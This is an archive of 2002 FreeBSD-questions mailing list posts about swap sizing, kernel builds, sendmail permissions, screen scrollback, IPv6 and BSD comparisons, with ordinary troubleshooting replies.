> Systems and Network Administrator         Apple Product Professional
> =================================     
> Computer and Network Support         
> University of Alberta Students' Union                  
> Phone: (780) 492-4241   Fax:  (780) 492-4643
> http://www.su.ualberta.ca
> 
> 
> "I sense much NT in you, NT leads to Blue Screen.
> Blue Screen leads to downtime, downtime leads to suffering.
> NT is the path to the darkside."
>          - Unknown Unix Jedi
> 
> 
> 

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From owner-freebsd-questions  Wed Jul 31 11:25: 9 2002
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Wednesday, July 31, 2002, 8:21:58 PM, you wrote:

EJC> All of the sudden I stopped receiving the questions from this group.  I didn't unsubscribe to it so I don't know what happened!

EJC> To Unsubscribe: send mail to majordomo@FreeBSD.org
EJC> with "unsubscribe freebsd-questions" in the body of the message

Dear E,

It happend to. Could be that your provider didn't had the mail box
online and the mail send to this was bounced back.

-- 
Best regards,
Alex

The FreeBSD handbook
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html


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From owner-freebsd-questions  Wed Jul 31 11:26:21 2002
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Hi,

I'm currently using FreeBSD 4.4. I have a few questions regarding IPV6:

1. scope id field in the sockaddr structure appears to be unused in rip6_bind - if the scope id(interface index in the case of link local addresses) is embedded in the IP address, then the bind is successful(even if the scope id field is 0), if  the scope id is just specified in its field, then the bind is unsuccessful. Looking through the code, I found that the bind for UDP appears to embed the scope in the IP address, but rip6_bind does not do that. Can some one explain this to me?

2. For v4 mapped v6 packets, multicast does not seem to be supported completely - for example, to join a multicast group, it looks like I have to open a v4 socket. Am I completely mistaken or if I'm right, can someone tell me why multicast is not supported for v4 mapped v6 addresses?

Thanks very much,
Anu.

Anu Subramanian
Software Engineer
Agilent Technologies.

Tel: 603 559 5742 
Fax: 603 433 6891

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From owner-freebsd-questions  Wed Jul 31 11:26:59 2002
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How should i proceed for a UML port on FreeBSD?

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Wed Jul 31 11:27:50 2002
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On Wed, 31 Jul 2002 fred@timogen.com wrote:
> Hi, I have a freebsd box, Can someone execute a scripts to print the IPAddress where she is from when he logon this machine?
> Regards,
> Fred Zhang

Try `arp -a` for your own IP address, or the `w` command to see what IP
address people are logging onto your box from (telnetting or ssh'ing in).

You could also just type `last -5` or however many you want.  The `w -n`
command will stop trying to resolve IP addresses to names, but for some
reason I can't get it to forcibly -only- show IPs; My DHCP hostname is long
and is getting truncated (chopped short).

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Wed Jul 31 11:29: 5 2002
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To: Rob Ellis <rob@web.ca>
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Subject: Re: 1GB ram, how much SWAP?
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On Wed, 31 Jul 2002, Rob Ellis wrote:
> i'm setting up a new machine, currently with 256M swap partitions
> on 2 disks, so 512M of swap, which seems like enough...
> it is going to be a server, but i can't imagine it's going
> to need 1.5GB of memory...?

Question for the list... how do you even tell FreeBSD to use X amount of
RAM for swap?  I realize in sysinstall's fdisk screen and label editor how
to designate part of a HDD as SWAP, but how do you accomplish with RAM?

Thanks,

> if crash dumps are enabled, maybe you need the extra swap?
> but they're off by default and i don't see turning them on. - rob
>
> On Wed, Jul 31, 2002 at 11:31:30AM -0600, Colin Harford wrote:
> > On 7/31/02 11:17 AM, "Rob Ellis" <rob@web.ca> wrote:
> > > if you have a gigabyte of ram, does the 2 x ram calculation
> > > for the swap partition (from the fbsd handbook) still make sense?
> > > thanks. - rob
> > All depends on what you use the machine for....  Desktop, big deal
> > But if its a mission critical server, add some, bescides HD space is pr=
etty
> > cheap now.
> >
> > >From one machine that doesn't quite have 1 GB of ram....
> >
> > last pid: 30202;  load averages:  0.06,  0.01,  0.00
> > up 4+09:29:04  13:20:58
> > 56 processes:  1 running, 55 sleeping
> > CPU states:  0.0% user,  0.0% nice,  0.4% system,  0.0% interrupt, 99.6=
%idle
> > Mem: 24M Active, 169M Inact, 92M Wired, 8K Cache, 99M Buf, 592M Free
> > Swap: 1776M Total, 1776M Free
> >
> > My desktop is offline, else I'd show you its stats, its got 1.25 GB of =
ram,
> > and 1 GB of swap.... Things just fly.... I don't think I've ever pushed=
 it
> > into swap, either way, its better safe than sorry to have some.
> > Colin Harford =A0=A0=A0
> > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 =A0=
=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0
> > Systems and Network Administrator =A0=A0=A0=A0    Apple Product Profess=
ional
> > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D =A0=A0=A0=A0
> > Computer and Network Support =A0=A0=A0=A0=A0=A0=A0=A0
> > University of Alberta Students' Union =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=
=A0=A0=A0=A0=A0=A0
> > Phone: (780) 492-4241 =A0=A0Fax: =A0(780) 492-4643
> > http://www.su.ualberta.ca
> >
> > "I sense much NT in you, NT leads to Blue Screen.
> > Blue Screen leads to downtime, downtime leads to suffering.
> > NT is the path to the darkside."
> >          - Unknown Unix Jedi

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Wed Jul 31 11:29:29 2002
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On Wed, 31 Jul 2002, menon raghu wrote:
> Is there a ptrace_syscall implementation in FreeBSD?

In version 4.6, apparently yes, as `man 2 ptrace` shows:

PTRACE(2)                 FreeBSD System Calls Manual                PTRACE(2)
NAME
     ptrace - process tracing and debugging
LIBRARY
     Standard C Library (libc, -lc)
SYNOPSIS
     #include <sys/types.h>
     #include <sys/ptrace.h>
     int
     ptrace(int request, pid_t pid, caddr_t addr, int data);
DESCRIPTION
     ptrace() provides tracing and debugging facilities. [snip]

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Wed Jul 31 11:29:51 2002
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From: "Lawrence Farr" <freebsd-hw@epcdirect.co.uk>
To: "'Jan Beck'" <janb@cs.utep.edu>, <freebsd-hardware@FreeBSD.ORG>,
	<freebsd-questions@FreeBSD.ORG>
Subject: RE: Harddisk damage by driver?
Date: Wed, 31 Jul 2002 19:23:48 +0100
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I certainly have had drives killed by poor ventilation.
I went through drive after drive, got fed up, installed
decent cooling, and never lost another on that box.

Lawrence Farr
EPC Direct Limited 

> -----Original Message-----
> From: owner-freebsd-hardware@FreeBSD.ORG 
> [mailto:owner-freebsd-hardware@FreeBSD.ORG] On Behalf Of Jan Beck
> Sent: 31 July 2002 17:59
> To: freebsd-hardware@FreeBSD.ORG; freebsd-questions@FreeBSD.ORG
> Subject: Re: Harddisk damage by driver?
> 
> 
> That brings up a very good question. How many people have had 
> problems due
> to overheating?
> 
> I have had the very odd problem of having 2 IDE drives die 
> over the past
> month, most likely due to overheating, since it gets very hot 
> in my dual
> athlon system. These drives had very high usage at almost all 
> times. In my
> file server, however, the hard drives get VERY hot. So much 
> so, that you
> can't touch them without burning your hands. All the drives 
> in the file
> server have been running well over a year in those conditions 
> and I haven't
> had any problems with it. The server load itself is very 
> light, however.
> 
> I have heard of drives failig due to heat, but never due to 
> usage. But I can
> guarantee that the 7200 RPM drives in the file server are 
> much hotter than
> the drives in the workstations were.
> 
> Does usage have any bearing on drive life? It seems that the 
> cooling is not
> important as long as the usage load on the drives is fairly low...
> 
> Or have I just been really lucky?
> 
> JAn
> 
> 
> ----- Original Message -----
> From: "vizion communication" <vizion@ixpres.com>
> To: "Axel Simon" <A.Simon@ukc.ac.uk>; "Bakul Shah" 
> <bakul@bitblocks.com>
> Cc: <freebsd-hardware@FreeBSD.ORG>; <freebsd-questions@FreeBSD.ORG>
> Sent: Wednesday, July 31, 2002 9:39 AM
> Subject: Re: Harddisk damage by driver?
> 
> 
> > I would agree the problem is likely to be
> > electrical/mechanical and the most likely cause is
> > overheating. Your experience with the drive that came up
> > after some time does point to overheating.
> >
> > However you might want to rule out a mal-functioning power
> > supply unit which could cause similar symptoms. This is
> > unlikely but possible.
> >
> > David
> >
> > ----- Original Message -----
> > From: "Bakul Shah" <bakul@bitblocks.com>
> > To: "Axel Simon" <A.Simon@ukc.ac.uk>
> > Cc: <freebsd-hardware@FreeBSD.ORG>;
> > <freebsd-questions@FreeBSD.ORG>
> > Sent: Wednesday, July 31, 2002 8:27 AM
> > Subject: Re: Harddisk damage by driver?
> >
> >
> > > The fack that all the drives die makes me think may be
> > your
> > > puter is not properly ventilated and the hard disks get
> > very
> > > hot.  You may have had very bad luck with all the drives
> > but
> > > that is not very likely.  A bad cable would give you
> > > read/write errors but it won't make your disk make loud
> > > repetitive clicking noises!  A FreeBSD driver can not be
> > at
> > > fault either with modern IDE or SCSI drives.
> > >
> > > See if the disks get very hot and if so, see if keeping
> > the
> > > box open and pointing a big fan at the disks make the
> > errors
> > > go away.  If the heat is a problem, you can do a number of
> > > things to keep good air flow around disks.
> > >
> > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > with "unsubscribe freebsd-hardware" in the body of the
> > message
> > >
> >
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-hardware" in the body of the message
> >
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-hardware" in the body of the message
> 


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From owner-freebsd-questions  Wed Jul 31 11:30:35 2002
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Date: Wed, 31 Jul 2002 12:28:49 -0600
Subject: Re: 1GB ram, how much SWAP?
From: Colin Harford <colin.harford@mail.su.ualberta.ca>
To: Rob Ellis <rob@web.ca>, <freebsd-questions@freebsd.org>
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On 7/31/02 11:48 AM, "Rob Ellis" <rob@web.ca> wrote:

> i'm setting up a new machine, currently with 256M swap partitions
> on 2 disks, so 512M of swap, which seems like enough...
> it is going to be a server, but i can't imagine it's going
> to need 1.5GB of memory...?
>=20
> if crash dumps are enabled, maybe you need the extra swap?
> but they're off by default and i don't see turning them on.
>=20
> - rob
>=20



A  webserver I look after only has 384 MB of ram.  It has enough to keep it=
s
pipe busy.    On busy days, it has run out of mbufs before memory,  with a
64 user kernel.  Increasing max users to max supported by freebsd has solve=
d
this problem


Colin Harford =A0=A0=A0

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0
Systems and Network Administrator =A0=A0=A0=A0    Apple Product Professional
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D =A0=A0=A0=A0
Computer and Network Support =A0=A0=A0=A0=A0=A0=A0=A0
University of Alberta Students' Union =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0
Phone: (780) 492-4241 =A0=A0Fax: =A0(780) 492-4643
http://www.su.ualberta.ca


"I sense much NT in you, NT leads to Blue Screen.
Blue Screen leads to downtime, downtime leads to suffering.
NT is the path to the darkside."
         - Unknown Unix Jedi




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From owner-freebsd-questions  Wed Jul 31 11:31: 9 2002
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To: Justin Burke <mlist-freebsd@alt255.com>
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On Wed, 31 Jul 2002, Justin Burke wrote:
> * Henning, Brian (brian.henning@navitaire.com) wrote:
> > when i am using 'screen' none of the history buffer is saved. i can't scroll up and see the results of previous commands.
> Screen has a built-in scrollback buffer. Using default settings, hit
> CTRL-A then ESC. You can scroll the buffer using familiar Vi movement
> commands. Hit ESC when you're done. You can also modify the size of the
> scrollback buffer using the 'scrollback' command in your screenrc.
> Justin

Brian had a good point, and screen's manpage covers the scrollback key
navigation pretty well but now I have two problems: The first is that after
the first invocation of C-a ESC, and hitting a key with no function, such
as the "u" key, screen goes out of scrollback mode and from then on my
backspace key prints out tildes "~" and stops working.

Second, does the command "screen -h 1000" specify screen to startup and use
a scrollback "history" of 1000 num of lines?  Be screenin ya,

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Wed Jul 31 11:33:51 2002
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Hello

About a week ago I had a problem with a top(1) that blocked. I found a workaround
after discovering that the blocking occured when a NIS netgroup entry in passwd(5)
was placed before any of its users' entries (for a more thourough description of
the backgound see the second link given below).

Ok, I found a workaround, but can anyone explain this behaviour? Is it a bug
in FreeBSD?

Reference URLs:

My original question:
   http://docs.freebsd.org/cgi/getmsg.cgi?fetch=153740+0+archive/2002/freebsd-questions/20020728.freebsd-questions

The description of a solution (or rather a workaround) and the background of my
question at the top of this mail:
   http://docs.freebsd.org/cgi/getmsg.cgi?fetch=639426+0+archive/2002/freebsd-questions/20020728.freebsd-questions

Many thanks in advance for your replies :-)

Stefan


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From owner-freebsd-questions  Wed Jul 31 11:43:30 2002
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On Tue, 30 Jul 2002, Jud wrote:
> I poked around on some Macs in a local CompUSA, having become
> curious about OS X and the new iMac.  OS X was slower than I
> expected (not smooth on stuff like dragging windows) on the new iMacs
> and eMacs, and the 15" flat-panel display on the iMac still seems a bit
> small.  But on the 2-processor G4, hooked up to a 22" flat screen Apple
> Cinema Display, running a number of apps including an animated
> mathematical simulation, OS X ran fast and looked by-God impressive.

Anyone here remember when PowerPC first came out, circa 1994-1995?  Macs
came with a graphing calculator that would instantly graph huge equations
involving x, y, z and more variables... in 3D and you could rotate and spin
the graph all around... instantly!  RISC was something magical then. :)

> (If the folks at CompUSA had some sense, that would have been sitting
> in front of the entrance rather than at the back of the store.)
> Jud

If the generic slobs at CompUSA had any sense at all, they would be hiding
out wherever the managers and/or people in-the-know hide out in stores like
CompUSA.  Right?  *grins*

PS - That 22" Cinema display costs slightly less than your local cinema.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Wed Jul 31 11:46:32 2002
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On Tue, 30 Jul 2002, Derrick MacPherson wrote:
> You can nfs mount between them I suppose..

(Comes back from reading `man mount_nfs`...) I guess I meant a one-way
question.  That is, how can a Mac desktop mount a FreeBSD drive?

By the way, do any of the mount commands rather "safely, pre-flight" before
mounting?  Do they effectively look before they leap?

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Wed Jul 31 11:48:21 2002
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This is a multi-part message in MIME format.

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Content-Type: text/plain;
	charset="iso-8859-1"
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Hi,

I=B4d like to know the differences among OpenBSD x NetBSD x FreeBSD.


Thanks

Jorge

jrgmelhado@hotmail.com


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I=B4d like to know the differences =
among OpenBSD x=20
NetBSD x FreeBSD.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jorge</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:jrgmelhado@hotmail.com">jrgmelhado@hotmail.com</A></FONT><=
/DIV>
<DIV>&nbsp;</DIV></DIV></BODY></HTML>

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From owner-freebsd-questions  Wed Jul 31 11:57:46 2002
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FreeBSD 4.6 with X11 v4.  Trying to get some easily readable fonts on
X11,  particularly on netscape.  I installed the urwfonts from x11-fonts
ports, but got the     unable to open display ""   when I ran xset, so I
edited /etc/X11/XF86Config to include an entry for .../fonts/URW.  Still
no apparent difference in appearance, but I noticed that startx pumps
out messages like     startx:  could not init font path element
/usr/X11R6/lib/X11/fonts/URW.   The same messages appear regarding
../fonts/Type1  and ../fonts/Speedo.

X11 has no problem with any other fonts listed in  /etc/X11/XF86Config.
All fonts listed in the config file have entries in
/usr/X11R6/lib/x11/fonts,  but apparently URW, Type1 and Speedo are
gloogified.

Haven't figured out xdm yet, so I installed a "wrapper" and use startx.

What's happening to my system?

Pb


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From owner-freebsd-questions  Wed Jul 31 11:58:22 2002
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At 2002-07-31T17:17:28Z, Rob Ellis <rob@web.ca> writes:

> if you have a gigabyte of ram, does the 2 x ram calculation for the swap
> partition (from the fbsd handbook) still make sense?  thanks.

IANA kernel hacker, but I've read that you should allocate at least twice
the amount of RAM for the main reason that FreeBSD's VM system is optimized
for that amount.  It will still run with less swap, but it will use
less-optimal algorithms and/or settings.
-- 
Kirk Strauser
The Strauser Group - http://www.strausergroup.com/

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From owner-freebsd-questions  Wed Jul 31 12:12:30 2002
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On Wednesday 31 July 2002 6:45 pm, Jorge Melhado wrote:
> Hi,
>
> I=B4d like to know the differences among OpenBSD x NetBSD x FreeBSD.
>
>
> Thanks
>
> Jorge
>
> jrgmelhado@hotmail.com

FreeBSD concentrates on the i386 and alpha platforms and is the only one =
of=20
the three with SMP support (I think), which presumably makes it better fo=
r=20
high-end servers. NetBSD and OpenBSD both concentrate on making the OS=20
portable to many different architectures, with OpenBSD also emphasising=20
security and encryption tools. FreeBSD has the largest ports collection o=
f=20
the three, with NetBSD quite close behind and OpenBSD a long way off. Whi=
ch=20
one to use basically comes down to personal preference (unless one of the=
m=20
has some killer feature) so you can basically try all three or pick one a=
t=20
random :)

--=20
There is no Hell. There is only France.
    - Frank Zappa


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From owner-freebsd-questions  Wed Jul 31 12:14:44 2002
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Date: Wed, 31 Jul 2002 15:15:07 -0400
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I have the new machine mostly setup, but it is still unable to send 
mail.

mail -sabc someone@somehere.org

at first appears to have succeded, and returns to the shell.


Then I get:

slytherinttyp1:hawk>collect: Cannot write ./dfg6VE77n7000152 (bfcommit, uid=1000, gid=25): Permission denied
queueup: cannot create queue temp file ./tfg6VE77n7000152, uid=1000: Permission denied
rw
[1] 153


A web search leads me to believe that this is a sendmail permissions
problem (and I did have trouble installing sendmail during make 
instllworld until I did it single user), but  those also seem to 
suggest that an installwrold will fix it.  It doesn't, though.

hawk, stranded again



-- 



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Hi all!
	I have a freebsd 4.3 stable machine that has a login that directly
gives me an option menu ... is it possible to disable it and get a normal
shell prompt. I have to delete a few files and the options doesnt have
that functionality. There are no other accounts available ... I cant even
see any files on the machine. It boots few other machines via pxeroot ...
but it mounts the filesystem read-only so I cant delete files from there
either ... any suggestions ?

-pranav



*******************************************************************
Pranav A. Desai
4309 Pease Street, Apt #6
Houston, TX - 77023
U.S.A.

Home :- (713) 926-1045
*******************************************************************



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From owner-freebsd-questions  Wed Jul 31 12:16:23 2002
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From: "soheil h" <soheil_h_y@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: MAKING KERNEL ( emergency )
Date: Wed, 31 Jul 2002 23:46:15 +0430
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Hi list
I use the first way outlined in the handbook but i got the errors again 
somehow the same ( without "make buildworld" )

the 'make depend ' and '/usr/sbin/config ' takes no error
but 'make ' takes error

it takes errors while compiling some scsi / RAID / or wireless NIC
in the configuration file i erase them
after that it takes errors in on of the kern/kern_* files

please make me know if i must use buildworld or something else ?

thanx


>From: "Jud" <jud@myrealbox.com>
>To: soheil_h_y@hotmail.com
>CC: freebsd-questions@FreeBSD.ORG
>Subject: Re: MAKING KERNEL ( emergency )
>Date: Wed, 31 Jul 2002 12:48:31 -0400
>
>
>
>-----Original Message-----
>From: "soheil h" <soheil_h_y@hotmail.com>
>To: freebsd-questions@FreeBSD.ORG
>Date: Wed, 31 Jul 2002 21:05:05 +0430
>Subject: MAKING KERNEL ( emergency )
>
>Hi list
>just for a test to make a new kernel i make a copy of GENERIC to MYKERN at
>/root ( same as what said in the handbook)
>i change the /usr/src/sys/netinet/ip.h and append to it 'struct tcphdr'
>from ./tcp.h and ranamed it 'struct tcpS'
>and define a 'struct tcpS * soheil' variable to see the tcphdr in the ip
>packets passing through me
>it doesn't have any error
>i usr method 2 in the handbook ( the new way kernel making : "make
>buildkernel KERNCONF=MYKERN)
>but it takes some error on scsi devices source code before the
>(at dev/aha , aic , aic7xxx , ...) never the errors are the same
>compilation of my netinet/ip_input.c
>after i edit the MYKERN remove all SCSI and RAID from options
>fortunately it compiles the netinet/ip_input.c without any error it pas the
>net ,netinet, nfs, and any network sources after that it takes an error on
>sys/pci the last output lines are these
>cc -c -O -pipe .... /usr/src/sys/pci/if_sis.c
>{standard input}: Assembler message:
>{standard input}:2438: Error: Unknown pseudo-op: '.p2alygn'
>*** Error code 1
>Stop in ......
>
>sometimes the error is like this:
>syntax error
>machine/atomic.h
>by the way never the errors are the same
>i want to know how these errors can happened? and
>please make me know if i have to use method one ( traditional kernel
>makeing) or any errors i may make
>
>thanx
>S<H<Y
>"computers are like airconditioners they don't work properly if you open
>windows"
>
>_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
>
>Hi, Soheil.
>
>(1)  I'd stay away from words like "emergency" in
>the subject lines of your posts.
>
>(2)  The second method for building and installing
>a kernel applies after you have run "make buildworld."  If you are simply 
>rebuilding and
>reinstalling the kernel without rebuilding everything
>else, use the first method outlined in the handbook.
>
>Jud
>
>
>
>
>
>
>
>_________________________________________________________________
>Join the world?s largest e-mail service with MSN Hotmail.
>http://www.hotmail.com
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-questions" in the body of the message




_________________________________________________________________
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From owner-freebsd-questions  Wed Jul 31 12:20:57 2002
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From: Peter Leftwich <Hostmaster@Video2Video.Com>
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To: Alex Drummond <alex@abingdon74.freeserve.co.uk>
Cc: FreeBSD LIST <FreeBSD-Questions@FreeBSD.Org>,
	Jorge Melhado <jrgmelhado@hotmail.com>
Subject: Re: FreeBSD
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On Thu, 1 Aug 2002, Alex Drummond wrote:

> From: Alex Drummond <alex@abingdon74.freeserve.co.uk>
> To: freebsd-questions@FreeBSD.ORG
> Subject: Re: FreeBSD
> Date: Thu, 1 Aug 2002 20:10:33 +0000

Isn't there an RFC about CC'ing the original poster?  Hurumph.

> On Wednesday 31 July 2002 6:45 pm, Jorge Melhado wrote:
> > Hi, I=B4d like to know the differences among OpenBSD x NetBSD x FreeBSD=
=2E
> > Thanks
> > Jorge
> > jrgmelhado@hotmail.com
>
> FreeBSD concentrates on the i386 and alpha platforms and is the only one =
of
> the three with SMP support (I think), which presumably makes it better fo=
r
> high-end servers. NetBSD and OpenBSD both concentrate on making the OS
> portable to many different architectures, with OpenBSD also emphasising
> security and encryption tools. FreeBSD has the largest ports collection o=
f
> the three, with NetBSD quite close behind and OpenBSD a long way off. Whi=
ch
> one to use basically comes down to personal preference (unless one of the=
m
> has some killer feature) so you can basically try all three or pick one a=
t
> random :)

http://www.bsdforums.org is a good place to start, as well as each OS's
individual websites (I'm assuming they each have their own).

That reminds me.  Where is www.freebsd.org hosted and who foots the bill? :=
)

> There is no Hell. There is only France.  -Frank Zappa

Mon dieu.  Come on now, France is much better these days, even Parisians!

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555



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From owner-freebsd-questions  Wed Jul 31 12:25:48 2002
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Date: Wed, 31 Jul 2002 12:25:42 -0700 (PDT)
From: Jeff Jirsa <jeff@boris.st.hmc.edu>
To: "Richard E. Hawkins" <dochawk@psu.edu>
Cc: <freebsd-questions@FreeBSD.ORG>
Subject: Re: can't send mail: "collect: Cannot write ./dd j000181 (bfcommit)
In-Reply-To: <200207311915.g6VJF74j000860@hedwig.ds.psu.edu>
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On Wed, 31 Jul 2002, Richard E. Hawkins wrote:

>
> I have the new machine mostly setup, but it is still unable to send
> mail.
>
> mail -sabc someone@somehere.org
>
> at first appears to have succeded, and returns to the shell.
>
>
> Then I get:
>
> slytherinttyp1:hawk>collect: Cannot write ./dfg6VE77n7000152 (bfcommit, uid=1000, gid=25): Permission denied
> queueup: cannot create queue temp file ./tfg6VE77n7000152, uid=1000: Permission denied
> rw
> [1] 153
>
>

What version of sendmail?

What are the permissions on /var/spool/mqueue and /var/spool/clientmqueue ?

If you're running sendmail 8.12.x, It should look something like:

# ll /var/spool/ | grep *mqueue
drwxrwx---  2 smmsp   smmsp   512 Jul 31 11:43 clientmqueue/
drwxr-xr-x  2 root    daemon  512 Jul 31 12:19 mqueue/


and whichever sendmail binary you're using (probably
/usr/libexec/sendmail/sendmail) needs to be setgid smmsp:


# ll /usr/libexec/sendmail
total 1008
lrwxr-xr-x  1 root  wheel      15 Jul  5 23:31 sendmail@ -> sendmail-8.12.3
-r-xr-sr-x  1 root  smmsp  599501 Jul  5 23:29 sendmail-8.12.3*


- Jeff Jirsa



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From owner-freebsd-questions  Wed Jul 31 12:25:56 2002
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From: Ryan Thompson <ryan@sasknow.com>
To: soheil h <soheil_h_y@hotmail.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: MAKING KERNEL ( emergency )
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X-Loop: FreeBSD.ORG

soheil h wrote to freebsd-questions@FreeBSD.ORG:

> Hi list
>
> I use the first way outlined in the handbook but i got the errors
> again somehow the same ( without "make buildworld" )
>
> the 'make depend ' and '/usr/sbin/config ' takes no error but 'make
> ' takes error
>
> it takes errors while compiling some scsi / RAID / or wireless NIC
> in the configuration file i erase them
> after that it takes errors in on of the kern/kern_* files
>
> please make me know if i must use buildworld or something else ?

No, don't use buildworld. Use the kernel building instructions in the
handbook.

It sounds like the config'd directories may have become munged
following some edits. I'd suggest starting with a fresh compile.
Remove the /usr/src/sys/compile/MYKERN directory before beginning
again.

Succinctly:

rm -Rf /usr/src/sys/compile/MYKERN
cd /usr/src/sys/i386/conf
config MYKERN
cd ../../compile/MYKERN
make depend
make
make install

If that doesn't work, there is likely something wrong in your source
tree. Do a fresh cvsup of the system sources and try again.

Since you're also adding your own code to the kernel, do so carefully.
A how-to on kernel hacking would be a bit much for this message :-),
but basically, change as little as possible (meaning, start with a
fresh kernel that you have successfully compiled without any changes),
and make sure you can still compile at each step. Be prepared to roll
back your last set of changes in the event something blows up. Yes,
this takes time. Yes, it takes a lot *less* time than trying to insert
hundreds of lines at once. :-)


>
> thanx
>
>
> >From: "Jud" <jud@myrealbox.com>
> >To: soheil_h_y@hotmail.com
> >CC: freebsd-questions@FreeBSD.ORG
> >Subject: Re: MAKING KERNEL ( emergency )
> >Date: Wed, 31 Jul 2002 12:48:31 -0400
> >
> >
> >
> >-----Original Message-----
> >From: "soheil h" <soheil_h_y@hotmail.com>
> >To: freebsd-questions@FreeBSD.ORG
> >Date: Wed, 31 Jul 2002 21:05:05 +0430
> >Subject: MAKING KERNEL ( emergency )
> >
> >Hi list
> >just for a test to make a new kernel i make a copy of GENERIC to MYKERN at
> >/root ( same as what said in the handbook)
> >i change the /usr/src/sys/netinet/ip.h and append to it 'struct tcphdr'
> >from ./tcp.h and ranamed it 'struct tcpS'
> >and define a 'struct tcpS * soheil' variable to see the tcphdr in the ip
> >packets passing through me
> >it doesn't have any error
> >i usr method 2 in the handbook ( the new way kernel making : "make
> >buildkernel KERNCONF=MYKERN)
> >but it takes some error on scsi devices source code before the
> >(at dev/aha , aic , aic7xxx , ...) never the errors are the same
> >compilation of my netinet/ip_input.c
> >after i edit the MYKERN remove all SCSI and RAID from options
> >fortunately it compiles the netinet/ip_input.c without any error it pas the
> >net ,netinet, nfs, and any network sources after that it takes an error on
> >sys/pci the last output lines are these
> >cc -c -O -pipe .... /usr/src/sys/pci/if_sis.c
> >{standard input}: Assembler message:
> >{standard input}:2438: Error: Unknown pseudo-op: '.p2alygn'
> >*** Error code 1
> >Stop in ......
> >
> >sometimes the error is like this:
> >syntax error
> >machine/atomic.h
> >by the way never the errors are the same
> >i want to know how these errors can happened? and
> >please make me know if i have to use method one ( traditional kernel
> >makeing) or any errors i may make
> >
> >thanx
> >S<H<Y
> >"computers are like airconditioners they don't work properly if you open
> >windows"
> >
> >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
> >
> >Hi, Soheil.
> >
> >(1)  I'd stay away from words like "emergency" in
> >the subject lines of your posts.
> >
> >(2)  The second method for building and installing
> >a kernel applies after you have run "make buildworld."  If you are simply
> >rebuilding and
> >reinstalling the kernel without rebuilding everything
> >else, use the first method outlined in the handbook.
> >
> >Jud
> >
> >
> >
> >
> >
> >
> >
> >_________________________________________________________________
> >Join the world?s largest e-mail service with MSN Hotmail.
> >http://www.hotmail.com
> >
> >
> >To Unsubscribe: send mail to majordomo@FreeBSD.org
> >with "unsubscribe freebsd-questions" in the body of the message
>
>
>
>
> _________________________________________________________________
> Chat with friends online, try MSN Messenger: http://messenger.msn.com
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>

-- 
  Ryan Thompson <ryan@sasknow.com>

  SaskNow Technologies - http://www.sasknow.com
  901 1st Avenue North - Saskatoon, SK - S7K 1Y4

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From owner-freebsd-questions  Wed Jul 31 12:26:32 2002
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From: "Siegbert Baude" <Siegbert.Baude@gmx.de>
To: "Wayne Lubin" <wayneclubin@yahoo.com>, <system@pathfinder.gr>
Cc: <freebsd-questions@freebsd.org>
References: <20020731161555.98410.qmail@web14706.mail.yahoo.com>
